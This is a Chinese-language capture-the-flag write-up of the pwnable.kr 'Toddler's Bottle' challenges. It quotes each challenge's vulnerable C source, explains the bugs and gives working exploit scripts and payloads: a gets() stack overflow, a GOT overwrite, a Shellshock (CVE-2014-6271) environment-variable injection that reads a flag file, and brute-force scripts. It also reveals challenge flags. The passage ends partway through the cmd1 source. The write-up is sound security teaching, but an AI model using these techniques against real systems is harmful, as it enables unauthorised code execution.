Pwnable.kr - Toddler's Bottle

Pwnable.kr Toddler's Bottle 分析记录。

fd

查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。

  • 0 - stdin - 标准输入流
  • 1 - stdout - 标准输出流
  • 2 - stderr - 标准错误流

当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision

查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。

构造用于输入的字符串,读取 flag 信息。

1
2
col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
daddy! I just managed to create a hash collision :)

bof

查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。

查看 func 函数的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-0000002C overflowme db 32 dup(?)
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 key dd ?
+0000000C
+0000000C ; end of stack variables

其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。

编写利用脚本。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

payload = b'A' * 0x34
payload += b'\xbe\xba\xfe\xca'

target = remote('pwnable.kr', 9000)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 信息。

得到 flag 信息

flag

下载程序,检测文件经过 UPX 压缩。

检测文件信息

使用 UPX 进行解压处理。

1
2
3
4
5
6
7
8
9
10
>  upx.exe -d ..\flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023

File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/amd64 flag

Unpacked 1 file.

再次检测文件,确定解压完成。

检测文件信息

使用 IDA 进行代码分析,查看 main() 函数。

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}

直接查看硬编码的 flag 信息。

1
2
3
4
5
6
7
.data:00000000006C2070 28 66 49 00 00 00 00 00       flag dq offset aUpxSoundsLikeA
.data:00000000006C2070 ; DATA XREF: main+20↑r

....

.rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o

passcode

查看程序源码,当 passcode1 为 338150 和 passcode2 为 13371337 时得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 函数中,可以看到 passcode1passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。

经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,实现任意地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// edx = 0xffffd0e8 -> name array address
*EDX 0xffffd0e8 —▸ 0xf7e2ada0 (_IO_2_1_stdout_) ◂— 0xfbad2a84

0x804862a <welcome+33> mov eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
► 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>


// ebp - 0x10 = 0xffffd148 -> passcode1 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x8048577 <login+19> mov eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
► 0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

// ebp - 0xc = 0xffffd14c -> passcode2 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
► 0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来实现跳转到任意地址执行,从而绕过校验代码,得到 flag 信息。

查看 .got.plt 中的函数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
passcode@pwnable:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。

通过 fflush() 函数直接跳转到校验成功分支。

1
2
3
4
5
6
7
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE call _puts
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn

借助 Python 进行程序传参,得到 flag 信息。

1
2
3
4
5
passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

random

查看程序源码,需要输入与随机数异或为 0xdeadbeef 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

由于程序在调用 rand() 函数之前,并未调用 srand() 函数初始化随机数种子,因此系统会以默认的 1 为种子生成随机数,这将导致每次运行程序生成的随机数相同。

本地调试程序,得到生成的随机数 0x6b8b4567。

1
2
3
4
5
6
7
8
9
*RAX  0x6b8b4567

0x4005f4 <main> push rbp
0x4005f5 <main+1> mov rbp, rsp
0x4005f8 <main+4> sub rsp, 0x10
0x4005fc <main+8> mov eax, 0
0x400601 <main+13> call rand@plt <rand@plt>

► 0x400606 <main+18> mov dword ptr [rbp - 4], eax

异或计算得到正确的 key 值为 0xb526fb88,即十进制 3039230856。

运行程序,得到 flag 信息。

1
2
3
4
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

input

查看程序源码,需要满足五个条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00,第 B (66) 个参数为 \x20\x0a\x0d

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

第二个条件,向 stdio 中写入 \x00\x0a\x00\xff,向 stderr 中写入 \x00\x0a\x02\xff

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第三个条件,新增 \xde\xad\xbe\xef 环境变量,设置值为 \xca\xfe\xba\xbe

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

第四个条件,新建 \x0a 文件,内容为 \x00\x00\x00\x00

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef 数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

根据校验条件,编写利用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

import os
import time
import socket
import subprocess

port = 10000

if __name__ == "__main__":
args = list("A" * 100)
args[0] = "/home/input2/input"
args[ord('A')] = ""
args[ord('B')] = "\x20\x0a\x0d"
args[ord('C')] = str(port)

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()
os.write(stdinw, b"\x00\x0a\x00\xff")
os.write(stderrw, b"\x00\x0a\x02\xff")

environ = {b"\xde\xad\xbe\xef": b"\xca\xfe\xba\xbe"}

f = open("\x0a", "w+")
f.write("\x00\x00\x00\x00")
f.close()

target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
time.sleep(2)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("127.0.0.1", port))
server.send(b"\xde\xad\xbe\xef")
server.close()

将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。

1
ln -s /home/input2/flag ./flag

运行脚本,获取 flag 信息。

1
2
3
4
5
6
7
8
9
10
input2@pwnable:/tmp/temp1001$ python3 getflag.py
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)

leg

查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

通过动态调试,分析三个 key 函数的返回值。

查看 key1() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc 中的值为 0x00008ce4,所以 key1() 函数的返回值为 0x00008ce4。

查看 key2() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc 的值为 0x00008d04,因此 key2() 函数的返回值为 0x00008d0c。

查看 main()key3() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
(gdb) disass main
Dump of assembler code for function main:
....
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
....
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

根据 Arm 架构的函数调用特性,寄存器 lr 保存着 key3() 函数的返回地址,因此 key3() 函数的返回值为 0x00008d80。

通过三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

mistake

查看程序源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

由于在 C 语言中,运算符 = 低于运算符 < 的优先级,所以导致 fd 保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0 的比较结果,而不是 /home/mistake/password 的文件指针。

因此 read() 函数实际是从 stdin 中读取数据。这将使得 pw_bufpw_buf2 的内容均可控,从而可以通过校验,得到 flag 信息。

1
2
3
4
5
6
mistake@pwnable:~$ ./mistake
do not bruteforce...
BBBBBBBBBB
input password : CCCCCCCCCC
Password OK
Mommy, the operator priority always confuses me :(

shellshock

查看程序源码,发现题目目录存在 Bash 程序。

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

查看目录文件,由于 flag 与 bash 的权限不同,所以无法直接读取文件内容。

1
2
3
4
5
6
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c

根据题目名称,猜测与 ShellShock 漏洞(CVE-2014-6271)有关。

Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令。

查看题目目录下 Bash 程序的版本。

1
2
3
4
5
6
7
shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

测试 ShellShock 漏洞确实存在。

1
2
3
shellshock@pwnable:~$ env x='() { :;}; echo test' ./bash -c "echo this is a test"
test
this is a test

利用 ShellShock 漏洞读取 flag 信息。

1
2
3
shellshock@pwnable:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

coin1

根据题目要求,需要在有限时间内,找出所给硬币中的假币,可以采用二分法进行计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

target = remote("0.0.0.0", 9007)

print target.recvuntil("Ready? starting in 3 sec... -\n\t\n")

for j in range(0, 100):
data = target.recvline()
print data

strlist = data.split(' ')
nums = int(strlist[0][2:])
counts = int(strlist[1][2:])

num_start = 0
while (counts > 0):
if(nums == 1):
counts -= 1
target.sendline(str(num_start))
target.recvline()
continue

if(data == 9):
num_start = int(answer)
counts -= 1
target.sendline(answer)
target.recvline()
continue

num_end = num_start + nums / 2
weight = nums / 2 * 10
answer = ''
for i in range(num_start, num_end):
answer += str(i)
answer += ' '

counts -= 1
target.sendline(answer)
data = int(target.recvline())

if(data < weight):
nums = nums / 2
else:
nums = nums - nums / 2
num_start = num_end

target.sendline(str(num_start))
print target.recvline()

print target.recvline()
print 'flag = ' + target.recvline()

target.close()

因为网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。

经过几次运算,可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python get_flag.py
[+] Opening connection to 0.0.0.0 on port 9007: Done

....

N=266 C=9

Correct! (99)

Congrats! get your flag

flag = b1NaRy_S34rch1nG_1s_3asy_p3asy

[*] Closed connection to 0.0.0.0 port 9007

blackjack

访问 Simple Blackjack Program 查看游戏源码,分析发现输入金额时存在问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

如果第一次输入的赌注大于自己所拥有的金额,将会进行第二次输入,但是第二次输入之后函数就返回了,即赌注下注成功。

设置百万金额赌注,赢得一局便可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
YaY_I_AM_A_MILLIONARE_LOL


Cash: $1001000
-------
|S |
| 1 |
| S|
-------

Your Total is 1

The Dealer Has a Total of 10

Enter Bet: $

lotto

查看程序源码,需要 6 个正确的号码才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

分析可知,程序在比较两个数组 lottosubmit 时存在问题,使用 lotto 的每一位与 submit 的每一位进行比较,只要出现相同字符 match 便增加。

编写遍历代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python

from pwn import *

target = process('/home/lotto/lotto')
context.update(arch='amd64')

while True:
choice = '1'
print target.recvuntil('3. Exit\n') + choice
target.sendline(choice)

lottos = chr(0xb) * 6
print target.recvuntil('Submit your 6 lotto bytes : ') + lottos
target.sendline(lottos)

print target.recvline()
result = target.recvline()
print result
if(result != 'bad luck...\n'):
break;

在运行脚本之前,需要将 flag 文件链接到脚本所在目录。

1
ln -s /home/lotto/flag flag

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
$ python get_flag.py
[+] Starting local process '/home/lotto/lotto': pid 346368
....
Submit your 6 lotto bytes : \x0b\x0b\x0b\x0b\x0b\x0b
Lotto Start!

sorry mom... I FORGOT to check duplicate numbers... :(

cmd1

查看程序源码,需要绕过 filter() 函数的过滤条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
